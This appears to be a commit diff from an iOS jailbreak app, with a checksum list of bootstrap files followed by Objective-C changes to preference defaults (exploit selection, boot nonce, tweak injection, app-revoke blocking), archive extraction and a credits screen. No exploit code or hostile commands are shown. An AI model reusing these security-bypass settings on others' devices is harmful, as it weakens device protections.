3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansi80x50
7183c55fa5ac8798a7dc32930ac058f5 ./usr/share/terminfo/61/ansi+tabs
943d1287db33a09d31ba2ec571047807 ./usr/share/terminfo/61/ansi+local1
c54fc1fd467518dae352dd8de6fade98 ./usr/share/terminfo/61/ansi80x60
54f926c6f19b6d1f02ced3ec7dcc7d2d ./usr/share/terminfo/61/ansi+rca
c12e955efc5c4f813357a89fd90a84b3 ./usr/share/terminfo/61/ansi-mini
908b80b219e9ae677f65aac5814a8aba ./usr/share/terminfo/61/ansi+enq
5b2a31e020e45acef8b3154423e36061 ./usr/share/terminfo/61/ansi-nt
7a494b98caadb3132504382fe6ccd1e3 ./usr/share/terminfo/61/ansi77
d59ad3dfe0d905f83febae83bbb6490d ./usr/share/terminfo/61/ansi-mr
c5195124980c2d8c2be86cbfa4c29390 ./usr/share/terminfo/61/ansi80x43-mono
fccc68bc07c0961e088e0b327d585008 ./usr/share/terminfo/61/ansi.sys
3f95bb59083f6458ee20714be2455c24 ./usr/share/terminfo/61/ansi.sys-old
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansi.sysk
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansi80x25-mono
34b77e5af5db12946a3720cb7c72fbbc ./usr/share/terminfo/61/ansi+inittabs
fe8ccd619fa36730e1989be8bf64a880 ./usr/share/terminfo/61/ansi+local
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-m
e0a527902af2067e4b2d7233098a9544 ./usr/share/terminfo/61/ansi80x43
acc9f736d0109a103776546ff99d4448 ./usr/share/terminfo/61/ansi+arrows
758da19fa1ad8fa0aa8872d2fa4fabc2 ./usr/share/terminfo/73/screen-16color
71191244af59a0bc0eff3cb7e5c6761a ./usr/share/terminfo/73/screen2
779220648133f21501a25a1d7f736ede ./usr/share/terminfo/73/screen3
6e536f3f0ca81e760cca30af42ef5ee5 ./usr/share/terminfo/73/screen-16color-bce-s
acdec11a201772f9868008c9b35370a4 ./usr/share/terminfo/73/screen-256color-bce
451f167847fa67389cf5d57ce1407e43 ./usr/share/terminfo/73/screen.rxvt
24337a754ffdf33baa8f7833fec84a17 ./usr/share/terminfo/73/screen.xterm-r6
2fdd2ae242a69fc6a6846adbad436bfb ./usr/share/terminfo/73/screen-w
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-xfree86
4209d2ad407722c4ee0d38679569633f ./usr/share/terminfo/73/screen-16color-s
6f004c8e3d5856b5522c8cecbc668ecd ./usr/share/terminfo/73/screen.linux
ac3ad0fb0869538166f5a12fbcfe0c21 ./usr/share/terminfo/73/screen-256color-bce-s
206907aeaa38189a8b2e74feae020f91 ./usr/share/terminfo/73/screen
1e076f070f12f1039f827e518717c5e0 ./usr/share/terminfo/73/screen-bce
40e690ba777f5df6351949d569a0c419 ./usr/share/terminfo/73/screen-256color-s
3b4151a6763a7d1439e8b1709325f123 ./usr/share/terminfo/73/screen.mlterm
6db29fffc6c61f7ce0052805f9d997d9 ./usr/share/terminfo/73/screen-s
06d68826ae2b44388d31bbf15bfc3ebf ./usr/share/terminfo/73/screen.teraterm
bc62056fcb4a9609cb0ce74bbf3fa5e8 ./usr/share/terminfo/73/screen-16color-bce
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-new
ffb01624d78c3593c3a5c34624186a7d ./usr/share/terminfo/73/screen-256color
19c69a8a937560ae5f5f88b0fe6773a6 ./usr/share/terminfo/73/screen+fkeys
6571655c5c8e2cdd82754860b0f12cf9 ./usr/share/terminfo/6c/linux-lat
0a3b98f41dbaa4ec10b6b33e1f7e5fb8 ./usr/share/terminfo/6c/linux-koi8r
53ab5f398fdf2fc9a04e3d443439c748 ./usr/share/terminfo/6c/linux-vt
c908ab61179176e87feeffea61d48550 ./usr/share/terminfo/6c/linux-basic
645999d4afb490d40ff6b55239ad8173 ./usr/share/terminfo/6c/linux
3497148074bf923fb5947f332143b4dc ./usr/share/terminfo/6c/linux-c-nc
5f6c4c2e8b8176b5a75551a123d6a5c7 ./usr/share/terminfo/6c/linux2.6.26
d430677ee48aaa29b1ec07856fadf1b3 ./usr/share/terminfo/6c/linux-c
859f454b42150769255dcb99d7715769 ./usr/share/terminfo/6c/linux-m
ef9a25f74c562344cc9840830df27ce9 ./usr/share/terminfo/6c/linux-nic
1e2899cc9d0dbb7e97adc7c6117e296c ./usr/share/terminfo/6c/linux-koi8
a06a3fcbf8aebe420717a1933eb21572 ./usr/share/terminfo/76/vt100-putty
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-nav-w
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s
2cfff02a7d0fe4d1ae27b0127b9a7716 ./usr/share/terminfo/76/vt100+
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100nam
5619ee07eba86463eb529b11fa45b7a5 ./usr/share/terminfo/76/vt100-vb
1da2593594b479b4ad1191724b755981 ./usr/share/terminfo/76/vt100+enq
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s-top
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-nam-w
3d6df1ce9053ede73fe26bbb393a2da4 ./usr/share/terminfo/76/vt100+fnkeys
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-w-nav
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-bot-s
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-w-nam
8fe8280e41916a873a0235c91308ebd2 ./usr/share/terminfo/76/vt100+pfkeys
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-top-s
76baa3a9460d6112ac20dbf6f58725c2 ./usr/share/terminfo/76/vt100-nav
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100-nam
1fff1e9d64dd710f90c6008da71cd0a3 ./usr/share/terminfo/76/vt100-bm-o
9093d267d0a3b5b7edc3008c6403d47b ./usr/share/terminfo/76/vt100+keypad
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100-am
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-s-bot
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w-am
846bea1b765ff91b190735acc298a355 ./usr/share/terminfo/76/vt100-bm
0ba872cd880784a95b7af42a83c48949 ./usr/share/terminfo/78/xterm-256color
29fb028ed95c62344e4c7481dcd29073 ./bin/cat
6fc19a7da30a530781ee4273f2a522e9 ./bin/launchctl
466ef7ee8a34ba8440e3acb80fa71c87 ./bin/pwd
b341e08776130c4bbeacb3c5440a3c8a ./bin/sleep
eef9a9be2cbabea493244700f9ae1a74 ./bin/stty
49022225d7e96a902373075d65aec180 ./bin/date
c88dae390cc7a36d809c47d1ebc3eb8b ./bin/bash
07c13bc01719fade1c0de1a58e724054 ./bin/kill
370429cf74f838ef835d2f6c0d3fa372 ./bin/sh
917a48c4bfbf425642bc6bb211b471c8 ./bin/dd
77478fa33e34293ec64b06520e4c177b ./bin/mkdir
1db90ee85858bfe24c3e48ee79fc6a8f ./bin/hostname
1af430cf9a416718a833dc7d56b83d3f ./bin/rmdir
d7b48f7b1b6079c15ca03433aa491b80 ./bin/mv
36d7da72f9f403da7f93d05a730e34dc ./bin/ln
ab5a603e1b9767b4bdbc7bbe0d1c73ab ./bin/ls
073a21568d2972f660a50a6285382e22 ./bin/cp
960e843cbea307bbfbfbe03cf0ba6dc7 ./bin/sync
1bcc4fc32919686b78d57ddc7c52bd9b ./bin/zsh
cef478d4cc0ecf6e79cd66ef6637c326 ./bin/chmod
4f5505d33d87c4a7ff02193201259efe ./bin/rm
be57e6ecb88b09d17bade80754ac9090 ./sbin/md5
d55d1d2b3bb292f0a0bb336fe9207b8e ./sbin/ping
80d22f83f5a5910c514548dab882ab88 ./sbin/shutdown
fd71b7e59272201dd1224423907f6d19 ./sbin/ifconfig
7654ea8f99b18c262cd3eb77147640dd ./sbin/umount
50a03c50fd14f9ec62f5354ff65b2a8c ./sbin/kextunload
139ce2d3be19697053781879d36e932e ./sbin/mknod
4945de2c730d66ee21d0ab14990c026f ./sbin/dmesg
1a2802c58d678f6e8f8f8b2027c97c63 ./etc/zshrc
fe116dfdd0905b1d881cdb27799332d3 ./etc/profile
d41d8cd98f00b204e9800998ecf8427e ./etc/apt/sources.list.d/cydia.list
ac0e7ddf2acd61e6c54b37f9fafc1253 ./etc/apt/sources.list.d/saurik.list
7c47a6c3258b47b256f601d65c6dae3d ./etc/apt/trusted.gpg.d/zodttd.gpg
4f56a1d2f4b62780e13bc494dd0eb8e6 ./etc/apt/trusted.gpg.d/bigboss.gpg
ba6d927670a3d16eea0930c13ce60720 ./etc/apt/trusted.gpg.d/modmyi.gpg
f2df1c620b1de53b3328f7d16be06317 ./etc/apt/trusted.gpg.d/saurik.gpg
69c4ba7f08363e998e0f2e244a04f881 ./etc/alternatives/README
9f17f5160584913c1ac2395923f233df ./default.ent
Binary file not shown.
Binary file not shown.
+81 -11
View File
@@ -11,7 +11,6 @@
#include "JailbreakViewController.h"
#include "SettingsTableViewController.h"
#include "utils.h"
#include "prefs.h"
@interface AppDelegate ()
@@ -35,10 +34,9 @@
char s[0x10000];
ssize_t nread = read(infd, s, sizeof(s));
if (nread <= 0)
return nil;
write(outfd, s, nread);
if (nread > 0) {
write(outfd, s, nread);
}
if (logfd > 0) {
if (write(logfd, s, nread) != nread) {
write(_orig_stderr, "error writing to logfile\n", 26);
@@ -60,8 +58,6 @@
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
if (FD_ISSET(input_fd, &fds)) {
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
if (read == nil)
continue;
[outline appendString:read];
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
if (lastNewline.location != NSNotFound) {
@@ -78,14 +74,88 @@
// Override point for customization after application launch.
[self initPrefs];
[self initShortcuts];
UIApplication.sharedApplication.idleTimerDisabled = TRUE;
return YES;
}
- (void)initPrefs {
register_default_prefs();
repair_prefs();
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_TWEAK_INJECTION];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_LOAD_DAEMONS];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DUMP_APTICKET];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_REFRESH_ICON_CACHE];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE] == nil) {
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:K_BOOT_NONCE];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] != nil &&
!supportsExploit([[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT])) {
[[NSUserDefaults standardUserDefaults] removeObjectForKey:K_EXPLOIT];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] == nil) {
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_DISABLE_AUTO_UPDATES];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DISABLE_APP_REVOKES];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_OVERWRITE_BOOT_NONCE];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_EXPORT_KERNEL_TASK_PORT];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESTORE_ROOTFS];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INCREASE_MEMORY_LIMIT];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] == nil) {
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:K_ECID];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_CYDIA];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_OPENSSH];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RELOAD_SYSTEM_DAEMONS] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_RELOAD_SYSTEM_DAEMONS];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_HIDE_LOG_WINDOW] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_HIDE_LOG_WINDOW];
[[NSUserDefaults standardUserDefaults] synchronize];
}
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESET_CYDIA_CACHE] == nil) {
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESET_CYDIA_CACHE];
[[NSUserDefaults standardUserDefaults] synchronize];
}
}
- (void)initShortcuts {
@@ -108,7 +178,7 @@
}
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
if ([[url absoluteString] isEqualToString:@"undecimus://jailbreak"]) {
if ([[url scheme] isEqualToString:@"jailbreak"]) {
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
return YES;
}
+2 -4
View File
@@ -11,24 +11,22 @@
#import <archive.h>
@interface ArchiveFile : NSObject
@property (strong,readonly) NSDictionary *files;
@property (strong,readonly) NSArray <NSString*> *files;
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
+(ArchiveFile*)archiveWithFd:(int)fd;
-(ArchiveFile*)initWithFile:(NSString*)filename;
-(ArchiveFile*)initWithFd:(int)fd;
-(BOOL)contains:(NSString*)file;
-(NSDictionary *)files;
-(NSArray <NSString*> *)files;
-(BOOL)extract;
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
-(BOOL)extractWithFlags:(int)flags;
-(BOOL)extractToPath:(NSString*)path;
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group;
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group;
@end
#endif /* _ARCHIVE_FILE_H */
+23 -77
View File
@@ -58,18 +58,7 @@ copy_data(struct archive *ar, struct archive *aw)
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
#endif
}
-(void)addEntry:(struct archive_entry *)entry
{
NSString *path = @(archive_entry_pathname(entry));
_files[path] = [NSMutableDictionary new];
_files[path][@"mode"] = @(archive_entry_mode(entry));
_files[path][@"uid"] = @(archive_entry_uid(entry));
_files[path][@"gid"] = @(archive_entry_gid(entry));
time_t mtime = archive_entry_mtime(entry);
if (mtime) {
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
}
}
-(void)readContents
{
struct archive *a = archive_read_new();
@@ -79,23 +68,23 @@ copy_data(struct archive *ar, struct archive *aw)
return;
struct archive_entry *entry;
_files = [NSMutableDictionary new];
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
[self addEntry:entry];
NSString *path = @(archive_entry_pathname(entry));
_files[path] = [NSMutableDictionary new];
_files[path][@"mode"] = @(archive_entry_mode(entry));
_files[path][@"uid"] = @(archive_entry_uid(entry));
_files[path][@"gid"] = @(archive_entry_gid(entry));
time_t mtime = archive_entry_mtime(entry);
if (mtime) {
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
}
}
_hasReadFiles = YES;
archive_read_close(a);
archive_read_finish(a);
lseek(_fd, 0, SEEK_SET);
}
-(ArchiveFile*)init
{
self = [super init];
_files = [NSMutableDictionary new];
_hasReadFiles = NO;
return self;
}
-(ArchiveFile*)initWithFile:(NSString*)filename
{
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
@@ -103,6 +92,8 @@ copy_data(struct archive *ar, struct archive *aw)
return nil;
}
self = [self init];
_files = nil;
_hasReadFiles = NO;
_fd = open(filename.UTF8String, O_RDONLY);
if (_fd < 0) {
@@ -126,6 +117,8 @@ copy_data(struct archive *ar, struct archive *aw)
-(ArchiveFile*)initWithFd:(int)fd
{
self = [self init];
_files = nil;
_hasReadFiles = NO;
_isPipe = YES;
_fd = fd;
@@ -137,11 +130,11 @@ copy_data(struct archive *ar, struct archive *aw)
return self;
}
-(NSDictionary*)files {
-(NSArray*)files {
if (!_hasReadFiles) {
[self readContents];
}
return [_files copy];
return [_files.allKeys copy];
}
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
@@ -355,11 +348,6 @@ out:
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
}
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group
{
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:NO owner:owner andGroup:group];
}
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
{
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
@@ -371,10 +359,6 @@ out:
}
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
{
return [self extractToPath:path withFlags:flags overWriteDirectories:overwrite_dirs owner:-1 andGroup:-1];
}
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group
{
BOOL result = NO;
@@ -408,24 +392,13 @@ out:
goto out;
}
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
const char *overwrite_temp = NULL;
if (rv < ARCHIVE_OK) {
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
if (rv < ARCHIVE_WARN)
goto out;
}
if (owner >= 0) {
archive_entry_set_uid(entry, owner);
}
if (group >= 0) {
archive_entry_set_gid(entry, group);
}
[self addEntry:entry];
NSString *filenameobj = @(archive_entry_pathname(entry));
const char *filename = filenameobj.UTF8String;
NSLog(@"Processing %s", filename);
const char *filename = archive_entry_pathname(entry);
struct stat st;
rv = stat(filename, &st);
if (rv == 0) {
@@ -436,16 +409,12 @@ out:
continue;
}
}
if (S_ISREG(st.st_mode)) {
if (isInAMFIStaticCache(filenameobj)) {
// --BootLoop
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
continue;
}
NSLog(@"Archive: Overwriting file %s", filename);
overwrite_temp = [[filenameobj stringByAppendingString:@".archive-new"] UTF8String];
archive_entry_set_pathname(entry, overwrite_temp);
if (S_ISREG(st.st_mode) && isInAMFIStaticCache(@(filename))) {
// --BootLoop
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
continue;
}
NSLog(@"Archive: Overwriting file %s", filename);
}
rv = archive_write_header(ext, entry);
if (rv < ARCHIVE_OK) {
@@ -465,32 +434,9 @@ out:
if (rv < ARCHIVE_WARN)
goto out;
}
if (overwrite_temp) {
NSString *tmpFile = [filenameobj stringByAppendingString:@".archive-tmp"];
NSLog(@"renaming out for %s\n", filename);
if (rename(filename, tmpFile.UTF8String)) {
unlink(overwrite_temp);
NSLog(@"Archive: Unable to rename original file %s", filename);
goto out;
}
NSLog(@"renaming in for %s\n", filename);
if (rename(overwrite_temp, filename)) {
unlink(overwrite_temp);
NSLog(@"Archive: Unable to rename new file %s", filename);
rename(tmpFile.UTF8String, filename);
goto out;
}
NSLog(@"unlinking for %s\n", filename);
if (unlink(tmpFile.UTF8String)) {
NSLog(@"Archive: Unable to remove temp file %s", tmpFile.UTF8String);
goto out;
}
overwrite_temp = NULL;
}
NSLog(@"%s: OK", filename);
}
result = YES;
_hasReadFiles = YES;
out:
[fm changeCurrentDirectoryPath:cwd];
archive_write_close(ext);
@@ -12,32 +12,4 @@
+ (NSURL *)getURLForUserName:(NSString *)userName;
@property (weak, nonatomic) IBOutlet UIButton *ianBeerButton;
@property (weak, nonatomic) IBOutlet UIButton *bazadButton;
@property (weak, nonatomic) IBOutlet UIButton *morpheusButton;
@property (weak, nonatomic) IBOutlet UIButton *xerubButton;
@property (weak, nonatomic) IBOutlet UIButton *psychoTeaButton;
@property (weak, nonatomic) IBOutlet UIButton *stekButton;
@property (weak, nonatomic) IBOutlet UIButton *ninjaPrawnButton;
@property (weak, nonatomic) IBOutlet UIButton *crypticButton;
@property (weak, nonatomic) IBOutlet UIButton *xerusDesignButton;
@property (weak, nonatomic) IBOutlet UIButton *appleDryButton;
@property (weak, nonatomic) IBOutlet UIButton *robButton;
@property (weak, nonatomic) IBOutlet UIButton *midnightChipButton;
@property (weak, nonatomic) IBOutlet UIButton *geoSn0wButton;
@property (weak, nonatomic) IBOutlet UIButton *swaggoButton;
@property (weak, nonatomic) IBOutlet UIButton *jailbreakbusterButton;
@property (weak, nonatomic) IBOutlet UIButton *jakeashacksButton;
@property (weak, nonatomic) IBOutlet UIButton *saurikButton;
@property (weak, nonatomic) IBOutlet UIButton *siguzaButton;
@property (weak, nonatomic) IBOutlet UIButton *externalistButton;
@property (weak, nonatomic) IBOutlet UIButton *realBrightiupButton;
@property (weak, nonatomic) IBOutlet UIButton *nitoTVButton;
@property (weak, nonatomic) IBOutlet UIButton *matchsticButton;
@property (weak, nonatomic) IBOutlet UIButton *umanghereButton;
@property (weak, nonatomic) IBOutlet UIButton *miscMistyButton;
@property (weak, nonatomic) IBOutlet UIButton *benButton;
@property (weak, nonatomic) IBOutlet UIButton *samGButton;
@property (weak, nonatomic) IBOutlet UIButton *dennisButton;
@end
+15 -114
View File
@@ -16,8 +16,15 @@
- (void)viewDidLoad {
[super viewDidLoad];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(darkModeCreditsView:) name:@"darkModeCredits" object:nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(lightModeCreditsView:) name:@"lightModeCredits" object:nil];
UIImageView *myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
[myImageView setFrame:self.tableView.frame];
UIView *myView = [[UIView alloc] initWithFrame:myImageView.frame];
[myView setBackgroundColor:[UIColor whiteColor]];
[myView setAlpha:0.84];
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
[myImageView addSubview:myView];
[self.tableView setBackgroundView:myImageView];
}
- (void)didReceiveMemoryWarning {
@@ -25,68 +32,6 @@
// Dispose of any resources that can be recreated.
}
-(void) darkModeCreditsView:(NSNotification *) notification {
[self.ianBeerButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.bazadButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.morpheusButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.xerubButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.psychoTeaButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.stekButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.ninjaPrawnButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.crypticButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.xerusDesignButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.appleDryButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.robButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.midnightChipButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.geoSn0wButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.swaggoButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.jailbreakbusterButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.jakeashacksButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.saurikButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.siguzaButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.externalistButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.realBrightiupButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.nitoTVButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.matchsticButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.umanghereButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.miscMistyButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.benButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.samGButton setTitleColor:[UIColor whiteColor] forState:normal];
[self.dennisButton setTitleColor:[UIColor whiteColor] forState:normal];
}
-(void) lightModeCreditsView:(NSNotification *) notification {
[self.ianBeerButton setTitleColor:[UIColor blackColor] forState:normal];
[self.bazadButton setTitleColor:[UIColor blackColor] forState:normal];
[self.morpheusButton setTitleColor:[UIColor blackColor] forState:normal];
[self.xerubButton setTitleColor:[UIColor blackColor] forState:normal];
[self.psychoTeaButton setTitleColor:[UIColor blackColor] forState:normal];
[self.stekButton setTitleColor:[UIColor blackColor] forState:normal];
[self.ninjaPrawnButton setTitleColor:[UIColor blackColor] forState:normal];
[self.crypticButton setTitleColor:[UIColor blackColor] forState:normal];
[self.xerusDesignButton setTitleColor:[UIColor blackColor] forState:normal];
[self.appleDryButton setTitleColor:[UIColor blackColor] forState:normal];
[self.robButton setTitleColor:[UIColor blackColor] forState:normal];
[self.midnightChipButton setTitleColor:[UIColor blackColor] forState:normal];
[self.geoSn0wButton setTitleColor:[UIColor blackColor] forState:normal];
[self.swaggoButton setTitleColor:[UIColor blackColor] forState:normal];
[self.jailbreakbusterButton setTitleColor:[UIColor blackColor] forState:normal];
[self.jakeashacksButton setTitleColor:[UIColor blackColor] forState:normal];
[self.saurikButton setTitleColor:[UIColor blackColor] forState:normal];
[self.siguzaButton setTitleColor:[UIColor blackColor] forState:normal];
[self.externalistButton setTitleColor:[UIColor blackColor] forState:normal];
[self.realBrightiupButton setTitleColor:[UIColor blackColor] forState:normal];
[self.nitoTVButton setTitleColor:[UIColor blackColor] forState:normal];
[self.matchsticButton setTitleColor:[UIColor blackColor] forState:normal];
[self.umanghereButton setTitleColor:[UIColor blackColor] forState:normal];
[self.miscMistyButton setTitleColor:[UIColor blackColor] forState:normal];
[self.benButton setTitleColor:[UIColor blackColor] forState:normal];
[self.samGButton setTitleColor:[UIColor blackColor] forState:normal];
[self.dennisButton setTitleColor:[UIColor blackColor] forState:normal];
}
+ (NSURL *)getURLForUserName:(NSString *)userName {
if ([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"tweetbot://"]]) {
return [NSURL URLWithString:[NSString stringWithFormat:@"tweetbot:///user_profile/%@", userName]];
@@ -105,12 +50,8 @@
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"i41nbeer"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnBazad:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_bazad"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnMorpheus:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Morpheus______"] options:@{} completionHandler:nil];
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"morpheus______"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnXerub:(id)sender{
